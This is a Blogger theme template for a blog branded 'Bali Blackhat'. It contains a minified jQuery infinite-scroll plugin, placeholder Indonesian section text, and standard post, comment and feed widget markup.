stop_scroll(){h.scrollContainer.unbind('scroll',scroll_handler)}function hide_pagination(){$(h.pagination).hide()}function get_scroll_threshold(a){var b,threshold;b=$(h.container).find(h.item).last();if(b.size()===0){return 0}threshold=b.offset().top+b.height();if(!a){threshold+=h.thresholdMargin}return threshold}function paginate(d,e){var f;f=$(h.next).attr('href');if(!f){if(h.noneleft){$(h.container).find(h.item).last().after(h.noneleft)}return stop_scroll()}if(h.beforePageChange&&$.isFunction(h.beforePageChange)){if(h.beforePageChange(d,f)===false){return}}j.pushPages(d,f);stop_scroll();show_loader();loadItems(f,function(a,b){var c=h.onLoadItems.call(this,b),curLastItem;if(c!==false){$(b).hide();curLastItem=$(h.container).find(h.item).last();curLastItem.after(b);$(b).fadeIn()}f=$(h.next,a).attr('href');$(h.pagination).replaceWith($(h.pagination,a));remove_loader();hide_pagination();if(f){reset()}else{stop_scroll()}h.onRenderComplete.call(this,b);if(e){e.call(this)}})}function loadItems(b,c,d){var e=[],container,startTime=Date.now(),diffTime,self;d=d||h.loaderDelay;$.get(b,null,function(a){container=$(h.container,a).eq(0);if(0===container.length){container=$(a).filter(h.container).eq(0)}if(container){container.find(h.item).each(function(){e.push(this)})}if(c){self=this;diffTime=Date.now()-startTime;if(diffTime<d){setTimeout(function(){c.call(self,a,e)},d-diffTime)}else{c.call(self,a,e)}}},'html')}function paginateToPage(a){var b=get_scroll_threshold(true);if(b>0){paginate(b,function(){stop_scroll();if((j.getCurPageNum(b)+1)<a){paginateToPage(a);$('html,body').animate({'scrollTop':b},400,'swing')}else{$('html,body').animate({'scrollTop':b},1000,'swing');reset()}})}}function get_current_page(){var a=i.getCurrentScrollOffset(h.scrollContainer);return j.getCurPageNum(a)}function get_loader(){var a=$('.tloader');if(a.size()===0){a=$('<div class="tloader">'+h.loader+'</div>');a.hide()}return a}function show_loader(){var a=get_loader(),el;if(h.customLoaderProc!==false){h.customLoaderProc(a)}else{el=$(h.container).find(h.item).last();el.after(a);a.fadeIn()}}function remove_loader(){var a=get_loader();a.remove()}function get_trigger(a){var b=$('.trigger');if(b.size()===0){b=$('<div class="loadmore"><a href="">'+h.trigger+'Load More</a></div>');b.hide()}$('a',b).off('click').on('click',function(){remove_trigger();a.call();return false});return b}function show_trigger(a){var b=get_trigger(a),el;el=$(h.container).find(h.item).last();el.after(b);b.fadeIn()}function remove_trigger(){var a=get_trigger();a.remove()}};$.ias.defaults={container:'.blog-posts',scrollContainer:$(window),item:'.date-outer',pagination:'#blog-pager',next:'#blog-pager-older-link a',loader:'<div class="tpreloader"> <div class="double-bounce1"></div> <div class="double-bounce2"></div> </div>',loaderDelay:1000,triggerPageThreshold:2,trigger:'<i class="fa fa-plus"></i>',thresholdMargin:-500,history:true,onPageChange:function(){},beforePageChange:function(){},onLoadItems:function(){},onRenderComplete:function(){FB.XFBML.parse();gapi.plusone.go();twttr.widgets.load();_gaq.push(['_trackPageview'])},customLoaderProc:false};$.ias.util=function(){var c=false;var d=false;var e=this;function init(){$(window).load(function(){c=true})}init();this.forceScrollTop=function(a){$('html,body').scrollTop(0);if(!d){if(!c){setTimeout(function(){e.forceScrollTop(a)},1)}else{a.call();d=true}}};this.getCurrentScrollOffset=function(a){var b,wndHeight;if(a.get(0)===window){b=a.scrollTop()}else{b=a.offset().top}wndHeight=a.height();return b+wndHeight}};$.ias.paging=function(){var c=[[0,document.location.toString()]];var d=function(){};var e=1;var f=new $.ias.util();function init(){$(window).scroll(scroll_handler)}init();function scroll_handler(){var a,curPageNum,curPagebreak,scrOffset,urlPage;a=f.getCurrentScrollOffset($(window));curPageNum=getCurPageNum(a);curPagebreak=getCurPagebreak(a);if(e!==curPageNum){scrOffset=curPagebreak[0];urlPage=curPagebreak[1];d.call({},curPageNum,scrOffset,urlPage)}e=curPageNum}function getCurPageNum(a){for(var i=(c.length-1);i>0;i--){if(a>c[i][0]){return i+1}}return 1}this.getCurPageNum=function(a){a=a||f.getCurrentScrollOffset($(window));return getCurPageNum(a)};function getCurPagebreak(a){for(var i=(c.length-1);i>=0;i--){if(a>c[i][0]){return c[i]}}return null}this.onChangePage=function(a){d=a};this.pushPages=function(a,b){c.push([a,b])}};$.ias.history=function(){var e=false;var f=false;function init(){f=!!(window.history&&history.pushState&&history.replaceState);f=false}init();this.setPage=function(a,b){this.updateState({page:a},'',b)};this.havePage=function(){return(this.getState()!==false)};this.getPage=function(){var a;if(this.havePage()){a=this.getState();return a.page}return 1};this.getState=function(){var a,stateObj,pageNum;if(f){stateObj=history.state;if(stateObj&&stateObj.ias){return stateObj.ias}}else{a=(window.location.hash.substring(0,7)==='/');if(a){pageNum=parseInt(window.location.hash.replace('/',''),10);return{page:pageNum}}}return false};this.updateState=function(a,b,c){if(e){this.replaceState(a,b,c)}else{this.pushState(a,b,c)}};this.pushState=function(a,b,c){var d;if(f){history.pushState({ias:a},b,c)}else{d=(a.page>0?'/'+a.page:'')}e=true};this.replaceState=function(a,b,c){if(f){history.replaceState({ias:a},b,c)}else{this.pushState(a,b,c)}}}})(jQuery);
812 //]]>
813 </script>
814
815
816
817</head><!--<head/>-->
818<!--<body>-->
819<body>
820<div class='page'>
821
822
823<!-- Preloader -->
824 <div class='preloader'>
825 <div class='centrize full-width'>
826 <div class='vertical-center'>
827 <div class='spinner'>
828 <div class='double-bounce1'/>
829 <div class='double-bounce2'/>
830 </div>
831 </div>
832 </div>
833 </div>
834
835 <header class='header'>
836 <div class='fw'>
837 <div class='logo'>
838 <b:section class='header1' id='header1' maxwidgets='1' showaddelement='yes'>
839 <b:widget id='Header1' locked='true' title='HOME (Header)' type='Header' version='1'>
840 <b:widget-settings>
841 <b:widget-setting name='displayUrl'/>
842 <b:widget-setting name='displayHeight'>0</b:widget-setting>
843 <b:widget-setting name='sectionWidth'>-1</b:widget-setting>
844 <b:widget-setting name='useImage'>false</b:widget-setting>
845 <b:widget-setting name='shrinkToFit'>false</b:widget-setting>
846 <b:widget-setting name='imagePlacement'>BEHIND</b:widget-setting>
847 <b:widget-setting name='displayWidth'>0</b:widget-setting>
848 </b:widget-settings>
849 <b:includable id='main'>
850 <b:if cond='data:useImage'>
851 <b:if cond='data:imagePlacement == "BEHIND"'>
852 <!--
853Show image as background to text. You can't really calculate the width
854reliably in JS because margins are not taken into account by any of
855clientWidth, offsetWidth or scrollWidth, so we don't force a minimum
856width if the user is using shrink to fit.
857This results in a margin-width's worth of pixels being cropped. If the
858user is not using shrink to fit then we expand the header.
859-->
860 <b:if cond='data:mobile'>
861 <div id='header-inner'>
862 <div class='titlewrapper' style='background: transparent'>
863 <h1 class='title' style='background: transparent; border-width: 0px'>
864 <b:include name='title'/>
865 </h1>
866 </div>
867 <b:include name='description'/>
868 </div>
869 <b:else/>
870 <div expr:style='"background-image: url(\"" + data:sourceUrl + "\"); " + "background-position: " + data:backgroundPositionStyleStr + "; " + data:widthStyleStr + "min-height: " + data:height + "_height: " + data:height + "background-repeat: no-repeat; "' id='header-inner'>
871 <div class='titlewrapper' style='background: transparent'>
872 <h1 class='title' style='background: transparent; border-width: 0px'>
873 <b:include name='title'/>
874 </h1>
875 </div>
876 <b:include name='description'/>
877 </div>
878 </b:if>
879 <b:else/>
880 <!--Show the image only-->
881 <div id='header-inner'>
882 <a expr:href='data:blog.homepageUrl' style='display: block'>
883 <img expr:alt='data:title' expr:id='data:widget.instanceId + "_headerimg"' expr:src='data:sourceUrl' style='display: block'/>
884 </a>
885 <!--Show the description-->
886 <b:if cond='data:imagePlacement == "BEFORE_DESCRIPTION"'>
887 <b:include name='description'/>
888 </b:if>
889 </div>
890 </b:if>
891 <b:else/>
892 <!--No header image -->
893 <div id='header-inner'>
894 <div class='titlewrapper'>
895 <h1 class='title'>
896 <b:include name='title'/>
897 </h1>
898 </div>
899 <b:include name='description'/>
900 </div>
901 </b:if>
902 </b:includable>
903 <b:includable id='description'>
904 <div class='descriptionwrapper'>
905 <p class='description'><span><data:description/></span></p>
906 </div>
907 </b:includable>
908 <b:includable id='title'>
909 <b:if cond='data:blog.url == data:blog.homepageUrl'>
910 <data:title/>
911 <b:else/>
912 <a expr:href='data:blog.homepageUrl'><data:title/></a>
913 </b:if>
914 </b:includable>
915 </b:widget>
916 </b:section>
917 </div>
918 <a class='menu-btn' href='#'><span/></a>
919 <!-- Top Nav -->
920 <div class='top-menu'>
921 <ul>
922 <li><a href='#about-section'>About</a></li>
923 <li><a href='#services-section'>What I Do</a></li>
924 <li><a href='#works-section'>Works</a></li>
925 <li><a href='#contact-section'>Contact</a></li>
926 </ul>
927 <a class='close' href='#'/>
928 </div>
929 </div>
930 </header>
931
932 <!-- Container -->
933 <div class='container'>
934
935
936 <!-- Section Started -->
937 <div class='section started'>
938 <div class='slide' id='particles-bg' style='background-image: url(https://i.ibb.co/VqZMrSY/2f9d25a9eac704fe9d3443faacd2caed-picsay.jpg);'/>
939 <div class='centrize full-width'>
940 <div class='vertical-center'>
941 <div class='st-title align-center'>
942 <div class='typing-title'>
943 <!-- Header Name -->
944 <p>Bali Blackhat </p>
945 <p>Melawan Dunia</p>
946 </div>
947 <span class='typed-title'/>
948 </div>
949 <!-- H Social Links -->
950 <div class='socials'>
951 <a href='https://www.facebook.com' target='blank'><i class='icon fa fa-facebook'/></a>
952 <a href='https://github.com' target='blank'><i class='icon fa fa-github'/></a>
953 <a href='https://twitter.com' target='blank'><i class='icon fa fa-twitter'/></a>
954 <a href='https://www.youtube.com' target='blank'><i class='icon fa fa-youtube'/></a>
955 <a href='https://instagram.com' target='blank'><i class='icon fa fa-instagram'/></a>
956 </div>
957 </div>
958 </div>
959 <a class='mouse-btn' href='#'><i class='icon lnr lnr-chevron-down'/></a>
960 </div>
961
962<b:if cond='data:blog.pageType != "item"'>
963<b:if cond='data:blog.pageType != "static_page"'>
964<!-- ====== About Section====== -->
965 <div class='section about align-left' id='about-section'>
966 <div class='fw'>
967 <div class='row'>
968 <div class='col col-m-12 col-t-4 col-d-4'>
969 <!-- Avatar -->
970 <div class='profile'>
971 <img alt='' src='https://i.ibb.co/8mTxqRX/1585278599992.png'/>
972 </div>
973 </div>
974 <div class='col col-m-12 col-t-8 col-d-8'>
975 <!-- About Name -->
976 <div class='text-box'>
977 <h1> About, <br/> Bali Blackhat <br/></h1>
978 <!-- About Bio -->
979 <p>
980 Nanti kita ceritakan Asal Mula Berdirinya Bali Blackhat disini yaa.
981 </p>
982 </div>
983 <!-- About Links -->
984 <div class='bts'>
985 <a class='btn extra' href='#'>Matur Suksma</a>
986 </div>
987 </div>
988 </div>
989 </div>
990 </div>
991
992<!-- ====== Services ====== -->
993 <div class='section services gray align-left' id='services-section'>
994 <div class='fw'>
995 <div class='titles'>
996 <div class='title'>What I Do</div>
997 </div>
998 <div class='row'>
999 <div class='col col-m-12 col-t-6 col-d-4'>
1000 <div class='service-item'>
1001 <div class='circle'><i class='icon lnr lnr-heart'/></div>
1002 <div class='name'>Tukang Hack</div>
1003 <p>Kita Ceritakan disini</p>
1004 </div>
1005 </div>
1006 <div class='col col-m-12 col-t-6 col-d-4'>
1007 <div class='service-item'>
1008 <div class='circle'><i class='icon lnr lnr-magic-wand'/></div>
1009 <div class='name'>Tukang Hack</div>
1010 <p>kita cerita disini</p>
1011 </div>
1012 </div>
1013 <div class='col col-m-12 col-t-6 col-d-4'>
1014 <div class='service-item'>
1015 <div class='circle'><i class='icon lnr lnr-pencil'/></div>
1016 <div class='name'>Web Design</div>
1017 <p>Terserah isi apa aja disini.</p>
1018 </div>
1019 </div>
1020 <div class='col col-m-12 col-t-6 col-d-4'>
1021 <div class='service-item'>
1022 <div class='circle'><i class='icon lnr lnr-smartphone'/></div>
1023 <div class='name'>Mobile Apps</div>
1024 <p>disni kasih keterangan</p>
1025 </div>
1026 </div>
1027 <div class='col col-m-12 col-t-6 col-d-4'>
1028 <div class='service-item'>
1029 <div class='circle'><i class='icon lnr lnr-chart-bars'/></div>
1030 <div class='name'>Analytics</div>
1031 <p>mumpung ngak ada kerjaan</p>
1032 </div>
1033 </div>
1034 <div class='col col-m-12 col-t-6 col-d-4'>
1035 <div class='service-item'>
1036 <div class='circle'><i class='icon lnr lnr-camera'/></div>
1037 <div class='name'>Photography</div>
1038 <p>bukan tukang foto ya</p>
1039 </div>
1040 </div>
1041 </div>
1042 </div>
1043 </div>
1044 </b:if>
1045 </b:if>
1046 </div>
1047
1048 </div>
1049 <div class='clr'/>
1050
1051<!-- ====== POSTINGAN ====== -->
1052 <div class='work section-padding' id='works-section'>
1053 <div class='ct-wrapper'>
1054 <b:if cond='data:blog.pageType != "item"'>
1055 <b:if cond='data:blog.pageType != "static_page"'>
1056 <div class='section-head text-center'>
1057 <h5 class='tc-title tc-title-center'>Postingan</h5>
1058 </div>
1059 </b:if>
1060 </b:if>
1061 <div class='work-inner'>
1062 <!-- START SINGLE WORK DESIGN AREA -->
1063 <div class='outer-wrapper'>
1064 <div class='main-wrapper'>
1065 <b:section class='content' id='content' showaddelement='no'>
1066 <b:widget id='Blog1' locked='true' title='Posting Blog' type='Blog' version='1'>
1067 <b:widget-settings>
1068 <b:widget-setting name='showDateHeader'>true</b:widget-setting>
1069 <b:widget-setting name='style.textcolor'>#bf8b38</b:widget-setting>
1070 <b:widget-setting name='showShareButtons'>false</b:widget-setting>
1071 <b:widget-setting name='authorLabel'>By</b:widget-setting>
1072 <b:widget-setting name='showCommentLink'>true</b:widget-setting>
1073 <b:widget-setting name='style.urlcolor'>#ffffff</b:widget-setting>
1074 <b:widget-setting name='showAuthor'>false</b:widget-setting>
1075 <b:widget-setting name='disableGooglePlusShare'>true</b:widget-setting>
1076 <b:widget-setting name='style.linkcolor'>#ffffff</b:widget-setting>
1077 <b:widget-setting name='style.unittype'>TextAndImage</b:widget-setting>
1078 <b:widget-setting name='style.bgcolor'>#000000</b:widget-setting>
1079 <b:widget-setting name='showAuthorProfile'>false</b:widget-setting>
1080 <b:widget-setting name='style.layout'>1x1</b:widget-setting>
1081 <b:widget-setting name='showLabels'>false</b:widget-setting>
1082 <b:widget-setting name='showLocation'>false</b:widget-setting>
1083 <b:widget-setting name='showTimestamp'>true</b:widget-setting>
1084 <b:widget-setting name='postsPerAd'>1</b:widget-setting>
1085 <b:widget-setting name='showBacklinks'>false</b:widget-setting>
1086 <b:widget-setting name='style.bordercolor'>#000000</b:widget-setting>
1087 <b:widget-setting name='showInlineAds'>false</b:widget-setting>
1088 <b:widget-setting name='showReactions'>false</b:widget-setting>
1089 </b:widget-settings>
1090 <b:includable id='main' var='top'>
1091
1092 <!-- Image Append -->
1093
1094 <!-- Image Append For Post -->
1095 <b:if cond='data:blog.pageType == "item"'>
1096 <div class='big_post_image' id='pic1'/>
1097 </b:if>
1098 <!-- Image Append For Page -->
1099 <b:if cond='data:blog.pageType == "static_page"'>
1100 <div class='big_post_image' id='pic1'/>
1101 </b:if>
1102
1103 <!-- Image Append END. -->
1104
1105 <b:if cond='data:mobile == "false"'>
1106
1107 <!-- error-page -->
1108 <b:if cond='data:blog.pageType == "error_page"'>
1109 <b:include name='error-page'/>
1110 </b:if>
1111
1112 <!-- status-message -->
1113 <b:if cond='data:blog.pageType != "error_page"'>
1114 <b:include data='top' name='status-message'/>
1115 </b:if>
1116
1117 <!-- posts -->
1118 <div class='blog-posts hfeed row work-posts grid'>
1119 <data:defaultAdStart/>
1120 <b:loop values='data:posts' var='post'>
1121
1122 <b:if cond='data:blog.pageType != "index"'>
1123 <b:if cond='data:blog.pageType != "archive"'>
1124 <b:if cond='data:post.dateHeader'>
1125 <h2 class='date-header'><span><data:post.dateHeader/></span></h2>
1126 </b:if>
1127 </b:if>
1128 </b:if>
1129
1130 <div class='date-outer col col-m-4 col-t-4 col-d-4'>
1131 <b:include data='post' name='post'/>
1132 <b:if cond='data:blog.pageType == "static_page"'>
1133 <b:include data='post' name='comment_picker'/>
1134 </b:if>
1135 <b:if cond='data:blog.pageType == "item"'>
1136 <b:include data='post' name='comment_picker'/>
1137 </b:if>
1138 </div>
1139
1140 <b:if cond='data:post.includeAd'>
1141 <b:if cond='data:post.isFirstPost'>
1142 <data:defaultAdEnd/>
1143 <b:else/>
1144 <data:adEnd/>
1145 </b:if>
1146 <div class='inline-ad'>
1147 <data:adCode/>
1148 </div>
1149 <data:adStart/>
1150 </b:if>
1151 </b:loop>
1152
1153 <b:if cond='data:numPosts != 0'>
1154
1155 </b:if>
1156 <data:adEnd/>
1157 </div>
1158
1159 <!-- navigation -->
1160 <b:if cond='data:blog.pageType == "index"'>
1161 <b:include name='nextprev'/>
1162 </b:if>
1163 <!-- feed links -->
1164
1165 <b:if cond='data:top.showStars'>
1166 <script src='//www.google.com/jsapi' type='text/javascript'/>
1167 <script type='text/javascript'>
1168 google.load("annotations", "1", {"locale": "<data:top.languageCode/>"});
1169 function initialize() {
1170 google.annotations.setApplicationId(<data:top.blogspotReviews/>);
1171 google.annotations.createAll();
1172 google.annotations.fetch();
1173 }
1174 google.setOnLoadCallback(initialize);
1175 </script>
1176 </b:if>
1177
1178 <b:else/>
1179 <b:include name='mobile-main'/>
1180 </b:if>
1181
1182 <b:if cond='data:top.showDummy'>
1183 <data:top.dummyBootstrap/>
1184 </b:if>
1185
1186 </b:includable>
1187 <b:includable id='authorblog'>
1188 <div id='author-box'>
1189 <div class='block-head'>
1190 <h3>
1191 About
1192 <data:post.author/>
1193 </h3>
1194 <div class='stripe-line'/>
1195 </div>
1196 <div class='post-listing'>
1197 <div class='author-avatar'>
1198 <img class='author_avatar' expr:alt='data:post.author' expr:src='data:post.authorPhoto.url' height='80' width='80'/>
1199 </div>
1200 <div class='author-description'>
1201 <data:post.authorAboutMe/>
1202 </div>
1203 <div class='clear'/>
1204 </div>
1205 </div>
1206 <!--/entry author-->
1207 </b:includable>
1208 <b:includable id='backlinkDeleteIcon' var='backlink'>
1209 <span expr:class='"item-control " + data:backlink.adminClass'>
1210 <a expr:href='data:backlink.deleteUrl' expr:title='data:top.deleteBacklinkMsg'>
1211 <img src='//www.blogger.com/img/icon_delete13.gif'/>
1212 </a>
1213 </span>
1214 </b:includable>
1215 <b:includable id='backlinks' var='post'>
1216 <a name='links'/>
1217 <h4>
1218 <data:post.backlinksLabel/>
1219 </h4>
1220 <b:if cond='data:post.numBacklinks != 0'>
1221 <dl class='comments-block' id='comments-block'>
1222 <b:loop values='data:post.backlinks' var='backlink'>
1223 <div class='collapsed-backlink backlink-control'>
1224 <dt class='comment-title'>
1225 <span class='backlink-toggle-zippy'>
1226  
1227 </span>
1228 <a expr:href='data:backlink.url' rel='nofollow'>
1229 <data:backlink.title/>
1230 </a>
1231 <b:include data='backlink' name='backlinkDeleteIcon'/>
1232 </dt>
1233 <dd class='comment-body collapseable'>
1234 <data:backlink.snippet/>
1235 </dd>
1236 <dd class='comment-footer collapseable'>
1237 <span class='comment-author'>
1238 <data:post.authorLabel/>
1239 <data:backlink.author/>
1240 </span>
1241 <span class='comment-timestamp'>
1242 <data:post.timestampLabel/>
1243 <data:backlink.timestamp/>
1244 </span>
1245 </dd>
1246 </div>
1247 </b:loop>
1248 </dl>
1249 </b:if>
1250 <p class='comment-footer'>
1251 <a class='comment-link' expr:href='data:post.createLinkUrl' expr:id='data:widget.instanceId + "_backlinks-create-link"' target='_blank'>
1252 <data:post.createLinkLabel/>
1253 </a>
1254 </p>
1255 </b:includable>
1256 <b:includable id='comment-form' var='post'>
1257 <div class='comment-form'>
1258 <a name='comment-form'/>
1259 <b:if cond='data:mobile'>
1260 <h4 id='comment-post-message'>
1261 <a expr:id='data:widget.instanceId + "_comment-editor-toggle-link"' href='javascript:void(0)'>
1262 <data:postCommentMsg/>
1263 </a>
1264 </h4>
1265 <div class='pesan-komentar'>
1266 <p>
1267 <data:blogCommentMessage/>
1268 </p>
1269 </div>
1270 <data:blogTeamBlogMessage/>
1271 <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
1272 <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
1273 <b:else/>
1274 <h4 id='comment-post-message'>
1275 <data:postCommentMsg/>
1276 </h4>
1277 <div class='pesan-komentar'>
1278 <p>
1279 <data:blogCommentMessage/>
1280 </p>
1281 </div>
1282 <data:blogTeamBlogMessage/>
1283 <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
1284 <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' width='100%'/>
1285 </b:if>
1286 <data:post.friendConnectJs/>
1287 <data:post.cmtfpIframe/>
1288 <script type='text/javascript'>
1289 BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>', '<data:post.communityId/>');
1290 </script>
1291 </div>
1292 </b:includable>
1293 <b:includable id='commentDeleteIcon' var='comment'>
1294 <span expr:class='"item-control " + data:comment.adminClass'>
1295 <b:if cond='data:showCmtPopup'>
1296 <div class='goog-toggle-button'>
1297 <div class='goog-inline-block comment-action-icon'/>
1298 </div>
1299 <b:else/>
1300 <a class='comment-delete' expr:href='data:comment.deleteUrl' expr:title='data:top.deleteCommentMsg'>
1301 <img src='//www.blogger.com/img/icon_delete13.gif'/>
1302 </a>
1303 </b:if>
1304 </span>
1305 </b:includable>
1306 <b:includable id='comment_count_picker' var='post'>
1307 <b:if cond='data:post.commentSource == 1'>
1308 <span class='cmt_count_iframe_holder' expr:data-count='data:post.numComments' expr:data-onclick='data:post.addCommentOnclick' expr:data-post-url='data:post.url' expr:data-url='data:post.canonicalUrl'>
1309 </span>
1310 <b:else/>
1311 <a class='comment-link' expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
1312 <data:post.commentLabelFull/>
1313 :
1314 </a>
1315 </b:if>
1316 </b:includable>
1317 <b:includable id='comment_picker' var='post'>
1318 <b:if cond='data:post.commentSource == 1'>
1319 <b:include data='post' name='iframe_comments'/>
1320 <b:else/>
1321 <b:if cond='data:post.showThreadedComments'>
1322 <b:include data='post' name='threaded_comments'/>
1323 <b:else/>
1324 <b:include data='post' name='comments'/>
1325 </b:if>
1326 </b:if>
1327 </b:includable>
1328 <b:includable id='comments' var='post'>
1329 <div id='top-comment'>
1330
1331 <div class='widget2' id='top-comment1'>
1332
1333 <div class='centerare1'>
1334
1335 <div class='comments' id='comments'>
1336
1337 <a name='comments'/>
1338 <b:if cond='data:post.allowComments'>
1339 <div class='komhead'>
1340 <h4>
1341 <b:if cond='data:post.numComments == 1'>
1342 1 <data:commentLabel/>:
1343 <b:else/>
1344 <data:post.numComments/> <data:commentLabelPlural/>:
1345 </b:if>
1346 </h4>
1347 <div class='stripe-line'/>
1348 </div>
1349 <b:if cond='data:post.commentPagingRequired'>
1350 <span class='paging-control-container'>
1351 <a expr:class='data:post.oldLinkClass' expr:href='data:post.oldestLinkUrl'><data:post.oldestLinkText/></a>
1352  
1353 <a expr:class='data:post.oldLinkClass' expr:href='data:post.olderLinkUrl'><data:post.olderLinkText/></a>
1354  
1355 <data:post.commentRangeText/>
1356  
1357 <a expr:class='data:post.newLinkClass' expr:href='data:post.newerLinkUrl'><data:post.newerLinkText/></a>
1358  
1359 <a expr:class='data:post.newLinkClass' expr:href='data:post.newestLinkUrl'><data:post.newestLinkText/></a>
1360 </span>
1361 </b:if>
1362
1363 <div expr:id='data:widget.instanceId + "_comments-block-wrapper"'>
1364 <dl expr:class='data:post.avatarIndentClass' id='comments-block'>
1365 <b:loop values='data:post.comments' var='comment'>
1366 <dt expr:class='"comment-author " + data:comment.authorClass' expr:id='data:comment.anchorName'>
1367 <b:if cond='data:comment.favicon'>
1368 <img expr:src='data:comment.favicon' height='16px' style='margin-bottom:-2px;' width='16px'/>
1369 </b:if>
1370 <a expr:name='data:comment.anchorName'/>
1371 <b:if cond='data:blog.enabledCommentProfileImages'>
1372 <data:comment.authorAvatarImage/>
1373 </b:if>
1374 <b:if cond='data:comment.authorUrl'>
1375 <a expr:href='data:comment.authorUrl' rel='nofollow'><data:comment.author/></a>
1376 <b:else/>
1377 <data:comment.author/>
1378 </b:if>
1379 <data:commentPostedByMsg/>
1380 </dt>
1381 <dd class='comment-body' expr:id='data:widget.instanceId + data:comment.cmtBodyIdPostfix'>
1382 <b:if cond='data:comment.isDeleted'>
1383 <span class='deleted-comment'><data:comment.body/></span>
1384 <b:else/>
1385 <p>
1386 <data:comment.body/>
1387 </p>
1388 </b:if>
1389 </dd>
1390 <dd class='comment-footer'>
1391 <span class='comment-timestamp'>
1392 <a expr:href='data:comment.url' title='comment permalink'>
1393 <data:comment.timestamp/>
1394 </a>
1395 <b:include data='comment' name='commentDeleteIcon'/>
1396 </span>
1397 </dd>
1398 </b:loop>
1399 </dl>
1400 </div>
1401
1402 <b:if cond='data:post.commentPagingRequired'>
1403 <span class='paging-control-container'>
1404 <a expr:class='data:post.oldLinkClass' expr:href='data:post.oldestLinkUrl'>
1405 <data:post.oldestLinkText/>
1406 </a>
1407 <a expr:class='data:post.oldLinkClass' expr:href='data:post.olderLinkUrl'>
1408 <data:post.olderLinkText/>
1409 </a>
1410  
1411 <data:post.commentRangeText/>
1412  
1413 <a expr:class='data:post.newLinkClass' expr:href='data:post.newerLinkUrl'>
1414 <data:post.newerLinkText/>
1415 </a>
1416 <a expr:class='data:post.newLinkClass' expr:href='data:post.newestLinkUrl'>
1417 <data:post.newestLinkText/>
1418 </a>
1419 </span>
1420 </b:if>
1421
1422 <p class='comment-footer'>
1423 <b:if cond='data:post.embedCommentForm'>
1424 <b:if cond='data:post.allowNewComments'>
1425 <b:include data='post' name='comment-form'/>
1426 <b:else/>
1427 <data:post.noNewCommentsText/>
1428 </b:if>
1429 <b:else/>
1430 <b:if cond='data:post.allowComments'>
1431 <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'><data:postCommentMsg/></a>
1432 </b:if>
1433 </b:if>
1434
1435 </p>
1436 </b:if>
1437 <b:if cond='data:showCmtPopup'>
1438 <div id='comment-popup'>
1439 <iframe allowtransparency='true' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
1440 </iframe>
1441 </div>
1442 </b:if>
1443
1444 <div id='backlinks-container'>
1445 <div expr:id='data:widget.instanceId + "_backlinks-container"'>
1446 <b:if cond='data:post.showBacklinks'>
1447 <b:include data='post' name='backlinks'/>
1448 </b:if>
1449 </div>
1450 </div>
1451 </div>
1452
1453 </div>
1454
1455 </div>
1456
1457
1458 </div>
1459 </b:includable>
1460 <b:includable id='feedLinks'>
1461 <b:if cond='data:blog.pageType != "item"'>
1462 <!-- Blog feed links -->
1463 <b:if cond='data:feedLinks'>
1464 <div class='blog-feeds'>
1465 <b:include data='feedLinks' name='feedLinksBody'/>
1466 </div>
1467 </b:if>
1468 <b:else/>
1469 <!--Post feed links -->
1470 <div class='post-feeds'>
1471 <b:loop values='data:posts' var='post'>
1472 <b:if cond='data:post.allowComments'>
1473 <b:if cond='data:post.feedLinks'>
1474 <b:include data='post.feedLinks' name='feedLinksBody'/>
1475 </b:if>
1476 </b:if>
1477 </b:loop>
1478 </div>
1479 </b:if>
1480 </b:includable>
1481 <b:includable id='feedLinksBody' var='links'>
1482 <div class='feed-links'>
1483 <data:feedLinksMsg/>
1484 <b:loop values='data:links' var='f'>
1485 <a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'>
1486 <data:f.name/>
1487 (
1488 <data:f.feedType/>
1489 )
1490 </a>
1491 </b:loop>
1492 </div>
1493 </b:includable>
1494 <b:includable id='iframe_comments' var='post'>
1495 <b:if cond='data:post.allowIframeComments'>
1496 <script expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
1497 <div class='cmt_iframe_holder' expr:data-href='data:post.canonicalUrl' expr:data-viewtype='data:post.viewType'/>
1498 <b:if cond='data:post.embedCommentForm == "false"'>
1499 <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
1500 <data:postCommentMsg/>
1501 </a>
1502 </b:if>
1503 </b:if>
1504 </b:includable>
1505 <b:includable id='mobile-index-post' var='post'>
1506 <!-- MOBILE INDEX POST HERE -->
1507 <div class='mobile-date-outer date-outer'>
1508 <div class='mobile-post-outer'>
1509 <div class='mobile-index-contents'>
1510 <b:if cond='data:post.thumbnailUrl'>
1511 <div class='mobile-index-thumbnail'>
1512 <div class='Image'>
1513 <img expr:src='data:post.thumbnailUrl'/>
1514 </div>
1515 </div>
1516 <b:else/>
1517 <div class='mobile-index-thumbnail'>
1518 <div class='Image'>
1519 <img expr:alt='data:post.title' expr:title='data:post.title' src='http://3.bp.blogspot.com/-ltyYh4ysBHI/U04MKlHc6pI/AAAAAAAADQo/PFxXaGZu9PQ/s66-c/no-image.png'/>
1520 </div>
1521 </div>
1522 </b:if>
1523 <a expr:href='data:post.url'>
1524 <h3 class='mobile-index-title entry-title' itemprop='headline'>
1525 <data:post.title/>
1526 </h3>
1527 </a>
1528 <div class='post-body'>
1529 <div class='post-info'>
1530 <b:if cond='data:top.showAuthor'>
1531 <b:if cond='data:post.authorProfileUrl'>
1532 <span class='author-info'>
1533 By
1534 <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
1535 <meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
1536 <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
1537 <span itemprop='name'>
1538 <data:post.author/>
1539 </span>
1540 </a>
1541 </span>
1542 </span>
1543 <b:else/>
1544 <span class='author-info'>
1545 <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
1546 <span itemprop='name'>
1547 <data:post.author/>
1548 </span>
1549 </span>
1550 </span>
1551 </b:if>
1552 </b:if>
